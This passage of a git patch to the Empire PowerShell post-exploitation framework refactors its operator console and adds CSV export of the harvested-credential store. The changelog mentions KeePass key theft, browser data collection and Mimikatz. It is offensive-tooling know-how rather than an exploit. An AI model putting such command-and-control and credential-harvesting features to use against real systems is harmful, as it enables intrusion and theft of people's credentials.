From fe43560bad3f35c453dab6a9815d0757bc279ebb Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Wed, 20 Jul 2016 21:28:27 -0400 Subject: [PATCH] Fix for issue #285 - credential export supporting commas Start of code standardization/pep8 cleanup - mods to agents.py, empire.py, and credentials.py Updated changelog --- README.md | 2 +- changelog | 21 + lib/common/credentials.py | 59 ++- lib/common/empire.py | 872 ++++++++++++++++++++------------------ 4 files changed, 517 insertions(+), 437 deletions(-) diff --git a/README.md b/README.md index 51d9ca169..4a448c831 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ -#Empire +# Empire Empire is a pure PowerShell post-exploitation agent built on cryptologically-secure communications and a flexible architecture. Empire implements the ability to run PowerShell agents without needing powershell.exe, rapidly deployable post-exploitation modules ranging from key loggers to Mimikatz, and adaptable communications to evade network detection, all wrapped up in a usability-focused framework. It premiered at [BSidesLV in 2015](https://www.youtube.com/watch?v=Pq9t59w0mUI). diff --git a/changelog b/changelog index aa951ad26..32793a9c9 100644 --- a/changelog +++ b/changelog @@ -1,3 +1,24 @@ +7/20/2016 +--------- +-Fix for issue #273 - added hostnames to raw screenshot output file +-Fix for issue #285 - credential export supporting commas +-Start of code standardization/pep8 cleanup - mods to agents.py, empire.py, and credentials.py + +7/16/2016 +--------- +-Added collection/keethief module to pilfer KeePass key material from memory +-"creds X" now searches additional fields for the term (like domain) +-merged credentials/enum_cred_store from @BeetleChunks + +7/15/2016 +--------- +-Merged @rvrsh3ll's collection/browser_data module +-Merged @curi0usJack's situational_awareness/network/smbautobrute module +-fix for issue #258 - "interact AGENT" now works globally in every menu except an active agent menu +-fix for issue #221 - hop listeners +-fix for issue #252 - management/invoke_script now no longer requires an external script +-fix for issue #257 - sysinfo now executed after running the steal_token command + 6/24/2016 --------- -Updated Invoke-Mimikatz to include a fix for multi-cpu boxes/processor detection diff --git a/lib/common/credentials.py b/lib/common/credentials.py index 81888d524..18cf11c5f 100644 --- a/lib/common/credentials.py +++ b/lib/common/credentials.py @@ -4,14 +4,17 @@ """ -import sqlite3 import helpers - +import os +# import sqlite3 class Credentials: - + """ + Class that handles interaction with the backend credential model + (adding creds, displaying, etc.). + """ def __init__(self, MainMenu, args=None): - + # pull out the controller objects self.mainMenu = MainMenu self.conn = MainMenu.conn @@ -58,14 +61,14 @@ def get_credentials(self, filterTerm=None, credtype=None, note=None): cur.execute("SELECT * FROM credentials WHERE LOWER(domain) LIKE LOWER(?) or LOWER(username) like LOWER(?) or LOWER(host) like LOWER(?) or LOWER(password) like LOWER(?)", [filterTerm, filterTerm, filterTerm, filterTerm]) # if we're filtering by credential type (hash, plaintext, token) - elif(credtype and credtype != ""): + elif credtype and credtype != "": cur.execute("SELECT * FROM credentials WHERE LOWER(credtype) LIKE LOWER(?)", [credtype]) # if we're filtering by content in the note field - elif(note and note != ""): + elif note and note != "": cur.execute("SELECT * FROM credentials WHERE LOWER(note) LIKE LOWER(%?%)", [note]) - # otherwise return all credentials + # otherwise return all credentials else: cur.execute("SELECT * FROM credentials") @@ -92,7 +95,7 @@ def add_credential(self, credtype, domain, username, password, host, sid="", not if results == []: # only add the credential if the (credtype, domain, username, password) tuple doesn't already exist - cur.execute("INSERT INTO credentials (credtype, domain, username, password, host, sid, notes) VALUES (?,?,?,?,?,?,?)", [credtype, domain, username, password, host, sid, notes] ) + cur.execute("INSERT INTO credentials (credtype, domain, username, password, host, sid, notes) VALUES (?,?,?,?,?,?,?)", [credtype, domain, username, password, host, sid, notes]) cur.close() @@ -102,7 +105,7 @@ def add_credential_note(self, credentialID, note): Update a note to a credential in the database. """ cur = self.conn.cursor() - cur.execute("UPDATE credentials SET note = ? WHERE id=?", [note,credentialID]) + cur.execute("UPDATE credentials SET note = ? WHERE id=?", [note, credentialID]) cur.close() @@ -125,16 +128,36 @@ def remove_all_credentials(self): cur.close() - def export_credentials(self, credtype=None): + def export_credentials(self, export_path=''): """ Export the credentials in the database to an output file. """ - # TODO: implement lol - - if(credtype and credtype.lower() == "hash"): - # export hashes in user:sid:lm:ntlm format - pass - else: - # export by csv? - pass + if export_path == '': + print helpers.color("[!] Export path cannot be ''") + + export_path += ".csv" + + if os.path.exists(export_path): + try: + choice = raw_input(helpers.color("\n[>] File %s already exists, overwrite? [y/N] " % (export_path), "red")) + if choice.lower() != "" and choice.lower()[0] == "y": + pass + else: + return + except KeyboardInterrupt: + return + + creds = self.get_credentials() + + if len(creds) == 0: + print helpers.color("[!] No credentials in the database.") + return + + output_file = open(export_path, 'w') + output_file.write("CredID,CredType,Domain,Username,Password,Host,SID,Notes\n") + for cred in creds: + output_file.write("\"%s\"\n" % ('","'.join([str(x) for x in cred]))) + + print "\n" + helpers.color("[*] Credentials exported to %s\n" % (export_path)) + output_file.close() diff --git a/lib/common/empire.py b/lib/common/empire.py index bba7405d7..ce67764e0 100644 --- a/lib/common/empire.py +++ b/lib/common/empire.py @@ -8,42 +8,65 @@ """ -# make version for Empire -VERSION = "1.5.1" - - +import sys +import cmd +import sqlite3 +import os +import hashlib +import time +# import traceback from pydispatch import dispatcher -# import time, sys, re, readline -import sys, cmd, sqlite3, os, hashlib, traceback # Empire imports import helpers -import http -import encryption -import packets +# import http +# import encryption +# import packets import messages import agents import listeners import modules import stagers import credentials -import time + + +# make version for Empire +VERSION = "1.5.2" # custom exceptions used for nested menu navigation -class NavMain(Exception): pass -class NavAgents(Exception): pass -class NavListeners(Exception): pass +class NavMain(Exception): + """ + Custom exception class used to navigate to the 'main' menu. + """ + pass -class MainMenu(cmd.Cmd): +class NavAgents(Exception): + """ + Custom exception class used to navigate to the 'agents' menu. + """ + pass + + +class NavListeners(Exception): + """ + Custom exception class used to navigate to the 'listeners' menu. + """ + pass + +class MainMenu(cmd.Cmd): + """ + The main class used by Empire to drive the 'main' menu + displayed when Empire starts. + """ def __init__(self, args=None, restAPI=False): cmd.Cmd.__init__(self) - - # globalOptions[optionName] = (value, required, description) + + # globalOptions[optionName] = (value, required, description) self.globalOptions = {} # empty database object @@ -72,7 +95,7 @@ def __init__(self, args=None, restAPI=False): self.do_help.__func__.__doc__ = '''Displays the help menu.''' self.doc_header = 'Commands' - dispatcher.connect( self.handle_event, sender=dispatcher.Any ) + dispatcher.connect(self.handle_event, sender=dispatcher.Any) # Main, Agents, or Listeners self.menu_state = "Main" @@ -90,7 +113,7 @@ def handle_args(self): """ Handle any passed arguments. """ - + if self.args.listener or self.args.stager: # if we're displaying listeners/stagers or generating a stager if self.args.listener: @@ -105,14 +128,14 @@ def handle_args(self): targetListener = targetListener[0] messages.display_listener_database(targetListener) else: - print helpers.color("\n[!] No active listeners with name '%s'\n" %(self.args.listener)) + print helpers.color("\n[!] No active listeners with name '%s'\n" % (self.args.listener)) else: if self.args.stager == 'list': print "\nStagers:\n" print " Name Description" print " ---- -----------" - for stagerName,stager in self.stagers.stagers.iteritems(): + for stagerName, stager in self.stagers.stagers.iteritems(): print " %s%s" % ('{0: <17}'.format(stagerName), stager.info['Description']) print "\n" else: @@ -124,14 +147,15 @@ def handle_args(self): if self.args.stager_options: for option in self.args.stager_options: if '=' not in option: - print helpers.color("\n[!] Invalid option: '%s'" %(option)) + print helpers.color("\n[!] Invalid option: '%s'" % (option)) print helpers.color("[!] Please use Option=Value format\n") - if self.conn: self.conn.close() + if self.conn: + self.conn.close() sys.exit() # split the passed stager options by = and set the appropriate option optionName, optionValue = option.split('=') - menu.do_set("%s %s" %(optionName, optionValue)) + menu.do_set("%s %s" % (optionName, optionValue)) # generate the stager menu.do_generate('') @@ -141,10 +165,12 @@ def handle_args(self): except Exception as e: print e - print helpers.color("\n[!] No current stager with name '%s'\n" %(stagerName)) + print helpers.color("\n[!] No current stager with name '%s'\n" % (stagerName)) # shutdown the database connection object - if self.conn: self.conn.close() + if self.conn: + self.conn.close() + sys.exit() @@ -179,6 +205,9 @@ def shutdown(self): def database_connect(self): + """ + Connect to the default database at ./data/empire.db. + """ try: # set the database connectiont to autocommit w/ isolation level self.conn = sqlite3.connect('./data/empire.db', check_same_thread=False) @@ -186,7 +215,7 @@ def database_connect(self): self.conn.isolation_level = None return self.conn - except Exception as e: + except Exception: print helpers.color("[!] Could not connect to database") print helpers.color("[!] Please run database_setup.py") sys.exit() @@ -207,19 +236,19 @@ def cmdloop(self): # get active listeners, agents, and loaded modules num_agents = self.agents.get_agents() - if(num_agents): + if num_agents: num_agents = len(num_agents) else: num_agents = 0 num_modules = self.modules.modules - if(num_modules): + if num_modules: num_modules = len(num_modules) else: num_modules = 0 num_listeners = self.listeners.get_listeners() - if(num_listeners): + if num_listeners: num_listeners = len(num_listeners) else: num_listeners = 0 @@ -256,23 +285,24 @@ def cmdloop(self): self.menu_state = "Listeners" except Exception as e: - print helpers.color("[!] Exception: %s" %(e)) + print helpers.color("[!] Exception: %s" % (e)) time.sleep(5) # print a nicely formatted help menu # stolen/adapted from recon-ng - def print_topics(self, header, cmds, cmdlen, maxcol): - if cmds: - self.stdout.write("%s\n"%str(header)) + def print_topics(self, header, commands, cmdlen, maxcol): + if commands: + self.stdout.write("%s\n" % str(header)) if self.ruler: - self.stdout.write("%s\n"%str(self.ruler * len(header))) - for cmd in cmds: - self.stdout.write("%s %s\n" % (cmd.ljust(17), getattr(self, 'do_' + cmd).__doc__)) + self.stdout.write("%s\n" % str(self.ruler * len(header))) + for command in commands: + self.stdout.write("%s %s\n" % (command.ljust(17), getattr(self, 'do_' + command).__doc__)) self.stdout.write("\n") - def emptyline(self): pass + def emptyline(self): + pass def handle_event(self, signal, sender): @@ -286,13 +316,13 @@ def handle_event(self, signal, sender): HttpHandler - the HTTP handler EmpireServer - the Empire HTTP server """ - + # if --debug X is passed, log out all dispatcher signals if self.args.debug: - f = open("empire.debug", 'a') - f.write(helpers.get_datetime() + " " + sender + " : " + signal + "\n") - f.close() + debug_file = open("empire.debug", 'a') + debug_file.write(helpers.get_datetime() + " " + sender + " : " + signal + "\n") + debug_file.close() if self.args.debug == '2': # if --debug 2, also print the output to the screen @@ -336,8 +366,8 @@ def do_exit(self, line): def do_agents(self, line): "Jump to the Agents menu." try: - a = AgentsMenu(self) - a.cmdloop() + agents_menu = AgentsMenu(self) + agents_menu.cmdloop() except Exception as e: raise e @@ -345,8 +375,8 @@ def do_agents(self, line): def do_listeners(self, line): "Interact with active listeners." try: - l = ListenerMenu(self) - l.cmdloop() + listener_menu = ListenerMenu(self) + listener_menu.cmdloop() except Exception as e: raise e @@ -361,19 +391,19 @@ def do_usestager(self, line): print helpers.color("[!] Error: invalid stager module") elif len(parts) == 1: - l = StagerMenu(self, parts[0]) - l.cmdloop() + stager_menu = StagerMenu(self, parts[0]) + stager_menu.cmdloop() elif len(parts) == 2: listener = parts[1] if not self.listeners.is_listener_valid(listener): print helpers.color("[!] Please enter a valid listener name or ID") else: self.stagers.set_stager_option('Listener', listener) - l = StagerMenu(self, parts[0]) - l.cmdloop() + stager_menu = StagerMenu(self, parts[0]) + stager_menu.cmdloop() else: print helpers.color("[!] Error in MainMenu's do_userstager()") - + except Exception as e: raise e @@ -384,8 +414,8 @@ def do_usemodule(self, line): print helpers.color("[!] Error: invalid module") else: try: - l = ModuleMenu(self, line) - l.cmdloop() + module_menu = ModuleMenu(self, line) + module_menu.cmdloop() except Exception as e: raise e @@ -404,7 +434,7 @@ def do_creds(self, line): creds = self.credentials.get_credentials() elif filterTerm.split()[0].lower() == "add": - + # add format: "domain username password args = filterTerm.split()[1:] @@ -441,7 +471,7 @@ def do_creds(self, line): try: args = filterTerm.split()[1:] - if len(args) != 1 : + if len(args) != 1: print helpers.color("[!] Format is 'remove //all'") else: if args[0].lower() == "all": @@ -454,12 +484,12 @@ def do_creds(self, line): self.credentials.remove_credentials(credIDs) elif "-" in args[0]: parts = args[0].split("-") - credIDs = [x for x in xrange(int(parts[0]), int(parts[1])+1)] + credIDs = [x for x in xrange(int(parts[0]), int(parts[1]) + 1)] self.credentials.remove_credentials(credIDs) else: self.credentials.remove_credentials(args) - except: + except Exception: print helpers.color("[!] Error in remove command parsing.") print helpers.color("[!] Format is 'remove //all'") @@ -473,18 +503,7 @@ def do_creds(self, line): print helpers.color("[!] Please supply an output filename/filepath.") return else: - creds = self.credentials.get_credentials() - - if len(creds) == 0: - print helpers.color("[!] No credentials in the database.") - return - - f = open(args[0], 'w') - f.write("CredID,CredType,Domain,Username,Password,Host,SID,Notes\n") - for cred in creds: - f.write(",".join([str(x) for x in cred]) + "\n") - - print "\n" + helpers.color("[*] Credentials exported to %s.\n" % (args[0])) + self.credentials.export_credentials(args[0]) return elif filterTerm.split()[0].lower() == "plaintext": @@ -498,7 +517,7 @@ def do_creds(self, line): else: creds = self.credentials.get_credentials(filterTerm=filterTerm) - + messages.display_credentials(creds) @@ -512,23 +531,23 @@ def do_set(self, line): if parts[0].lower() == "ip_whitelist": if parts[1] != "" and os.path.exists(parts[1]): try: - f = open(parts[1], 'r') - ipData = f.read() - f.close() + open_file = open(parts[1], 'r') + ipData = open_file.read() + open_file.close() self.agents.ipWhiteList = helpers.generate_ip_list(ipData) - except: - print helpers.color("[!] Error opening ip file %s" %(parts[1])) + except Exception: + print helpers.color("[!] Error opening ip file %s" % (parts[1])) else: self.agents.ipWhiteList = helpers.generate_ip_list(",".join(parts[1:])) elif parts[0].lower() == "ip_blacklist": if parts[1] != "" and os.path.exists(parts[1]): try: - f = open(parts[1], 'r') - ipData = f.read() - f.close() + open_file = open(parts[1], 'r') + ipData = open_file.read() + open_file.close() self.agents.ipBlackList = helpers.generate_ip_list(ipData) - except: - print helpers.color("[!] Error opening ip file %s" %(parts[1])) + except Exception: + print helpers.color("[!] Error opening ip file %s" % (parts[1])) else: self.agents.ipBlackList = helpers.generate_ip_list(",".join(parts[1:])) else: @@ -555,7 +574,7 @@ def do_show(self, line): def do_load(self, line): "Loads Empire modules from a non-standard folder." - + if line.strip() == '' or not os.path.isdir(line.strip()): print "\n" + helpers.color("[!] Please specify a valid folder to load modules from.") + "\n" else: @@ -564,7 +583,7 @@ def do_load(self, line): def do_reload(self, line): "Reload one (or all) Empire modules." - + if line.strip().lower() == "all": # reload all modules print "\n" + helpers.color("[*] Reloading all modules.") + "\n" @@ -585,47 +604,45 @@ def do_list(self, line): parts = line.split(" ") - if parts[0].lower() == "agents": + if parts[0].lower() == "agents": line = " ".join(parts[1:]) - agents = self.agents.get_agents() + all_agents = self.agents.get_agents() if line.strip().lower() == "stale": - displayAgents = [] - - for agent in agents: + agents_to_display = [] - sessionID = self.agents.get_agent_id(agent[3]) + for agent in all_agents: # max check in -> delay + delay*jitter - intervalMax = (agent[4] + agent[4] * agent[5])+30 + intervalMax = (agent[4] + agent[4] * agent[5]) + 30 # get the agent last check in time - agentTime = time.mktime(time.strptime(agent[16],"%Y-%m-%d %H:%M:%S")) - if agentTime < time.mktime(time.localtime()) - intervalMax: + agent_time = time.mktime(time.strptime(agent[16], "%Y-%m-%d %H:%M:%S")) + if agent_time < time.mktime(time.localtime()) - intervalMax: # if the last checkin time exceeds the limit, remove it - displayAgents.append(agent) + agents_to_display.append(agent) - messages.display_staleagents(displayAgents) + messages.display_staleagents(agents_to_display) elif line.strip() != "": # if we're listing an agents active in the last X minutes try: minutes = int(line.strip()) - + # grab just the agents active within the specified window (in minutes) - displayAgents = [] - for agent in agents: - agentTime = time.mktime(time.strptime(agent[16],"%Y-%m-%d %H:%M:%S")) + agents_to_display = [] + for agent in all_agents: + agent_time = time.mktime(time.strptime(agent[16], "%Y-%m-%d %H:%M:%S")) + + if agent_time > time.mktime(time.localtime()) - (int(minutes) * 60): + agents_to_display.append(agent) - if agentTime > time.mktime(time.localtime()) - (int(minutes) * 60): - displayAgents.append(agent) - - messages.display_agents(displayAgents) + messages.display_agents(agents_to_display) - except: + except Exception: print helpers.color("[!] Please enter the minute window for agent checkin.") else: @@ -639,15 +656,15 @@ def do_list(self, line): def do_interact(self, line): "Interact with a particular agent." - + name = line.strip() if name != "" and self.agents.is_agent_present(name): # resolve the passed name to a sessionID sessionID = self.agents.get_agent_id(name) - a = AgentMenu(self, sessionID) - a.cmdloop() + agent_menu = AgentMenu(self, sessionID) + agent_menu.cmdloop() else: print helpers.color("[!] Please enter a valid agent name") @@ -655,41 +672,41 @@ def do_interact(self, line): def complete_usemodule(self, text, line, begidx, endidx): "Tab-complete an Empire PowerShell module path." - modules = self.modules.modules.keys() + module_names = self.modules.modules.keys() mline = line.partition(' ')[2] offs = len(mline) - len(text) - return [s[offs:] for s in modules if s.startswith(mline)] + return [s[offs:] for s in module_names if s.startswith(mline)] def complete_reload(self, text, line, begidx, endidx): "Tab-complete an Empire PowerShell module path." - modules = self.modules.modules.keys() + ["all"] + module_names = self.modules.modules.keys() + ["all"] mline = line.partition(' ')[2] offs = len(mline) - len(text) - return [s[offs:] for s in modules if s.startswith(mline)] + return [s[offs:] for s in module_names if s.startswith(mline)] def complete_usestager(self, text, line, begidx, endidx): "Tab-complete an Empire stager module path." - stagers = self.stagers.stagers.keys() + stager_names = self.stagers.stagers.keys() - if (line.split(" ")[1].lower() in stagers) and line.endswith(" "): + if (line.split(" ")[1].lower() in stager_names) and line.endswith(" "): # if we already have a stager name, tab-complete listener names - listenerNames = self.listeners.get_listener_names() + listener_names = self.listeners.get_listener_names() - endLine = " ".join(line.split(" ")[1:]) - mline = endLine.partition(' ')[2] + end_line = " ".join(line.split(" ")[1:]) + mline = end_line.partition(' ')[2] offs = len(mline) - len(text) - return [s[offs:] for s in listenerNames if s.startswith(mline)] + return [s[offs:] for s in listener_names if s.startswith(mline)] else: # otherwise tab-complate the stager names mline = line.partition(' ')[2] offs = len(mline) - len(text) - return [s[offs:] for s in stagers if s.startswith(mline)] + return [s[offs:] for s in stager_names if s.startswith(mline)] def complete_set(self, text, line, begidx, endidx): @@ -698,7 +715,7 @@ def complete_set(self, text, line, begidx, endidx): options = ["ip_whitelist", "ip_blacklist"] if line.split(" ")[1].lower() in options: - return helpers.complete_path(text,line,arg=True) + return helpers.complete_path(text, line, arg=True) mline = line.partition(' ')[2] offs = len(mline) - len(text) @@ -707,25 +724,25 @@ def complete_set(self, text, line, begidx, endidx): def complete_load(self, text, line, begidx, endidx): "Tab-complete a module load path." - return helpers.complete_path(text,line) + return helpers.complete_path(text, line) def complete_reset(self, text, line, begidx, endidx): "Tab-complete a global option." - + return self.complete_set(text, line, begidx, endidx) def complete_show(self, text, line, begidx, endidx): "Tab-complete a global option." - + return self.complete_set(text, line, begidx, endidx) def complete_creds(self, text, line, begidx, endidx): "Tab-complete 'creds' commands." - - commands = [ "add", "remove", "export", "hash", "plaintext", "krbtgt"] + + commands = ["add", "remove", "export", "hash", "plaintext", "krbtgt"] mline = line.partition(' ')[2] offs = len(mline) - len(text) @@ -742,7 +759,9 @@ def complete_interact(self, text, line, begidx, endidx): class AgentsMenu(cmd.Cmd): - + """ + The main class used by Empire to drive the 'agents' menu. + """ def __init__(self, mainMenu): cmd.Cmd.__init__(self) @@ -751,27 +770,27 @@ def __init__(self, mainMenu): self.doc_header = 'Commands' # set the prompt text - self.prompt = '(Empire: '+helpers.color("agents", color="blue")+') > ' + self.prompt = '(Empire: ' + helpers.color("agents", color="blue") + ') > ' - agents = self.mainMenu.agents.get_agents() - messages.display_agents(agents) + messages.display_agents(self.mainMenu.agents.get_agents()) # def preloop(self): # traceback.print_stack() - + # print a nicely formatted help menu # stolen/adapted from recon-ng - def print_topics(self, header, cmds, cmdlen, maxcol): - if cmds: - self.stdout.write("%s\n"%str(header)) + def print_topics(self, header, commands, cmdlen, maxcol): + if commands: + self.stdout.write("%s\n" % str(header)) if self.ruler: - self.stdout.write("%s\n"%str(self.ruler * len(header))) - for cmd in cmds: - self.stdout.write("%s %s\n" % (cmd.ljust(17), getattr(self, 'do_' + cmd).__doc__)) + self.stdout.write("%s\n" % str(self.ruler * len(header))) + for command in commands: + self.stdout.write("%s %s\n" % (command.ljust(17), getattr(self, 'do_' + command).__doc__)) self.stdout.write("\n") - def emptyline(self): pass + def emptyline(self): + pass def do_back(self, line): @@ -807,7 +826,7 @@ def do_list(self, line): def do_rename(self, line): "Rename a particular agent." - + parts = line.strip().split(" ") # name sure we get an old name and new name for the agent @@ -820,15 +839,15 @@ def do_rename(self, line): def do_interact(self, line): "Interact with a particular agent." - + name = line.strip() if name != "" and self.mainMenu.agents.is_agent_present(name): # resolve the passed name to a sessionID sessionID = self.mainMenu.agents.get_agent_id(name) - a = AgentMenu(self.mainMenu, sessionID) - a.cmdloop() + agent_menu = AgentMenu(self.mainMenu, sessionID) + agent_menu.cmdloop() else: print helpers.color("[!] Please enter a valid agent name") @@ -842,11 +861,12 @@ def do_kill(self, line): try: choice = raw_input(helpers.color("[>] Kill all agents? [y/N] ", "red")) if choice.lower() != "" and choice.lower()[0] == "y": - agents = self.mainMenu.agents.get_agents() - for agent in agents: + all_agents = self.mainMenu.agents.get_agents() + for agent in all_agents: sessionID = agent[1] self.mainMenu.agents.add_agent_task(sessionID, "TASK_EXIT") - except KeyboardInterrupt as e: print "" + except KeyboardInterrupt: + print "" else: # extract the sessionID and clear the agent tasking @@ -896,9 +916,9 @@ def do_sleep(self, line): if len(parts) == 3: jitter = parts[2] - agents = self.mainMenu.agents.get_agents() + all_agents = self.mainMenu.agents.get_agents() - for agent in agents: + for agent in all_agents: sessionID = agent[1] # update this agent info in the database self.mainMenu.agents.set_agent_field("delay", delay, sessionID) @@ -941,32 +961,32 @@ def do_lostlimit(self, line): print helpers.color("[!] Please enter a valid '#ofCBs'") elif parts[0].lower() == "all": - lostLimit = parts[1] - agents = self.mainMenu.agents.get_agents() + lost_limit = parts[1] + all_agents = self.mainMenu.agents.get_agents() - for agent in agents: + for agent in all_agents: sessionID = agent[1] # update this agent info in the database - self.mainMenu.agents.set_agent_field("lost_limit", lostLimit, sessionID) + self.mainMenu.agents.set_agent_field("lost_limit", lost_limit, sessionID) # task the agent - self.mainMenu.agents.add_agent_task(sessionID, "TASK_SHELL", "Set-LostLimit " + str(lostLimit)) + self.mainMenu.agents.add_agent_task(sessionID, "TASK_SHELL", "Set-LostLimit " + str(lost_limit)) # update the agent log - msg = "Tasked agent to change lost limit " + str(lostLimit) + msg = "Tasked agent to change lost limit %s" % (lost_limit) self.mainMenu.agents.save_agent_log(sessionID, msg) else: # extract the sessionID and clear the agent tasking sessionID = self.mainMenu.agents.get_agent_id(parts[0]) - lostLimit = parts[1] + lost_limit = parts[1] if sessionID and len(sessionID) != 0: # update this agent's information in the database - self.mainMenu.agents.set_agent_field("lost_limit", lostLimit, sessionID) + self.mainMenu.agents.set_agent_field("lost_limit", lost_limit, sessionID) - self.mainMenu.agents.add_agent_task(sessionID, "TASK_SHELL", "Set-LostLimit " + str(lostLimit)) + self.mainMenu.agents.add_agent_task(sessionID, "TASK_SHELL", "Set-LostLimit " + str(lost_limit)) # update the agent log - msg = "Tasked agent to change lost limit " + str(lostLimit) + msg = "Tasked agent to change lost limit %s" % (lost_limit) self.mainMenu.agents.save_agent_log(sessionID, msg) else: @@ -984,9 +1004,9 @@ def do_killdate(self, line): elif parts[0].lower() == "all": date = parts[1] - agents = self.mainMenu.agents.get_agents() + all_agents = self.mainMenu.agents.get_agents() - for agent in agents: + for agent in all_agents: sessionID = agent[1] # update this agent's field in the database self.mainMenu.agents.set_agent_field("kill_date", date, sessionID) @@ -1024,17 +1044,17 @@ def do_workinghours(self, line): elif parts[0].lower() == "all": hours = parts[1] - hours = hours.replace("," , "-") + hours = hours.replace(",", "-") - agents = self.mainMenu.agents.get_agents() + all_agents = self.mainMenu.agents.get_agents() - for agent in agents: + for agent in all_agents: sessionID = agent[1] # update this agent's field in the database self.mainMenu.agents.set_agent_field("working_hours", hours, sessionID) # task the agent self.mainMenu.agents.add_agent_task(sessionID, "TASK_SHELL", "Set-WorkingHours " + str(hours)) - msg = "Tasked agent to set working hours to " + str(hours) + msg = "Tasked agent to set working hours to %s" % (hours) self.mainMenu.agents.save_agent_log(sessionID, msg) else: @@ -1042,10 +1062,10 @@ def do_workinghours(self, line): sessionID = self.mainMenu.agents.get_agent_id(parts[0]) hours = parts[1] - hours = hours.replace("," , "-") + hours = hours.replace(",", "-") if sessionID and len(sessionID) != 0: - #update this agent's field in the database + # update this agent's field in the database self.mainMenu.agents.set_agent_field("working_hours", hours, sessionID) # task the agent self.mainMenu.agents.add_agent_task(sessionID, "TASK_SHELL", "Set-WorkingHours " + str(hours)) @@ -1068,42 +1088,43 @@ def do_remove(self, line): choice = raw_input(helpers.color("[>] Remove all agents from the database? [y/N] ", "red")) if choice.lower() != "" and choice.lower()[0] == "y": self.mainMenu.agents.remove_agent('%') - except KeyboardInterrupt as e: print "" + except KeyboardInterrupt: + print "" elif name.lower() == "stale": # remove 'stale' agents that have missed their checkin intervals - - agents = self.mainMenu.agents.get_agents() - for agent in agents: + all_agents = self.mainMenu.agents.get_agents() + + for agent in all_agents: sessionID = self.mainMenu.agents.get_agent_id(agent[3]) # max check in -> delay + delay*jitter - intervalMax = (agent[4] + agent[4] * agent[5])+30 + interval_max = (agent[4] + agent[4] * agent[5]) + 30 # get the agent last check in time - agentTime = time.mktime(time.strptime(agent[16],"%Y-%m-%d %H:%M:%S")) + agent_time = time.mktime(time.strptime(agent[16], "%Y-%m-%d %H:%M:%S")) - if agentTime < time.mktime(time.localtime()) - intervalMax: + if agent_time < time.mktime(time.localtime()) - interval_max: # if the last checkin time exceeds the limit, remove it - self.mainMenu.agents.remove_agent(sessionID) + self.mainMenu.agents.remove_agent(sessionID) elif name.isdigit(): # if we're removing agents that checked in longer than X minutes ago - agents = self.mainMenu.agents.get_agents() + all_agents = self.mainMenu.agents.get_agents() try: minutes = int(line.strip()) - + # grab just the agents active within the specified window (in minutes) - for agent in agents: + for agent in all_agents: sessionID = self.mainMenu.agents.get_agent_id(agent[3]) # get the agent last check in time - agentTime = time.mktime(time.strptime(agent[16],"%Y-%m-%d %H:%M:%S")) + agentTime = time.mktime(time.strptime(agent[16], "%Y-%m-%d %H:%M:%S")) if agentTime < time.mktime(time.localtime()) - (int(minutes) * 60): # if the last checkin time exceeds the limit, remove it @@ -1131,16 +1152,16 @@ def do_usestager(self, line): print helpers.color("[!] Error: invalid stager module") elif len(parts) == 1: - l = StagerMenu(self.mainMenu, parts[0]) - l.cmdloop() + stager_menu = StagerMenu(self.mainMenu, parts[0]) + stager_menu.cmdloop() elif len(parts) == 2: listener = parts[1] if not self.mainMenu.listeners.is_listener_valid(listener): print helpers.color("[!] Please enter a valid listener name or ID") else: self.mainMenu.stagers.set_stager_option('Listener', listener) - l = StagerMenu(self.mainMenu, parts[0]) - l.cmdloop() + stager_menu = StagerMenu(self.mainMenu, parts[0]) + stager_menu.cmdloop() else: print helpers.color("[!] Error in AgentsMenu's do_userstager()") @@ -1154,8 +1175,8 @@ def do_usemodule(self, line): print helpers.color("[!] Error: invalid module") else: # set agent to "all" - l = ModuleMenu(self.mainMenu, line, agent="all") - l.cmdloop() + module_menu = ModuleMenu(self.mainMenu, line, agent="all") + module_menu.cmdloop() def do_searchmodule(self, line): @@ -1182,8 +1203,6 @@ def complete_interact(self, text, line, begidx, endidx): def complete_rename(self, text, line, begidx, endidx): "Tab-complete a rename command" - names = self.mainMenu.agents.get_agent_names() - return self.complete_interact(text, line, begidx, endidx) @@ -1203,7 +1222,7 @@ def complete_remove(self, text, line, begidx, endidx): mline = line.partition(' ')[2] offs = len(mline) - len(text) return [s[offs:] for s in names if s.startswith(mline)] - + def complete_list(self, text, line, begidx, endidx): "Tab-complete a list command" @@ -1260,7 +1279,9 @@ def complete_creds(self, text, line, begidx, endidx): class AgentMenu(cmd.Cmd): - + """ + The main class used by Empire to drive an individual 'agent' menu. + """ def __init__(self, mainMenu, sessionID): cmd.Cmd.__init__(self) @@ -1275,13 +1296,13 @@ def __init__(self, mainMenu, sessionID): name = self.mainMenu.agents.get_agent_name(sessionID) # set the text prompt - self.prompt = '(Empire: '+helpers.color(name, 'red')+') > ' + self.prompt = '(Empire: ' + helpers.color(name, 'red') + ') > ' # agent commands that have opsec-safe alises in the agent code - self.agentCommands = ["ls","dir","rm","del","cp","copy","pwd","cat","cd","mkdir","rmdir","mv","move","ipconfig","ifconfig","route","reboot","restart","shutdown","ps","tasklist","getpid","whoami","getuid","hostname"] + self.agentCommands = ["ls", "dir", "rm", "del", "cp", "copy", "pwd", "cat", "cd", "mkdir", "rmdir", "mv", "move", "ipconfig", "ifconfig", "route", "reboot", "restart", "shutdown", "ps", "tasklist", "getpid", "whoami", "getuid", "hostname"] # listen for messages from this specific agent - dispatcher.connect( self.handle_agent_event, sender=dispatcher.Any) + dispatcher.connect(self.handle_agent_event, sender=dispatcher.Any) # display any results from the database that were stored # while we weren't interacting with the agent @@ -1296,7 +1317,9 @@ def handle_agent_event(self, signal, sender): """ Handle agent event signals. """ - if "[!] Agent" in signal and "exiting" in signal: pass + + if "[!] Agent" in signal and "exiting" in signal: + pass name = self.mainMenu.agents.get_agent_name(self.sessionID) @@ -1314,17 +1337,18 @@ def handle_agent_event(self, signal, sender): # print a nicely formatted help menu # stolen/adapted from recon-ng - def print_topics(self, header, cmds, cmdlen, maxcol): - if cmds: - self.stdout.write("%s\n"%str(header)) + def print_topics(self, header, commands, cmdlen, maxcol): + if commands: + self.stdout.write("%s\n" % str(header)) if self.ruler: - self.stdout.write("%s\n"%str(self.ruler * len(header))) - for cmd in cmds: - self.stdout.write("%s %s\n" % (cmd.ljust(17), getattr(self, 'do_' + cmd).__doc__)) + self.stdout.write("%s\n" % str(self.ruler * len(header))) + for command in commands: + self.stdout.write("%s %s\n" % (command.ljust(17), getattr(self, 'do_' + command).__doc__)) self.stdout.write("\n") - def emptyline(self): pass + def emptyline(self): + pass def default(self, line): @@ 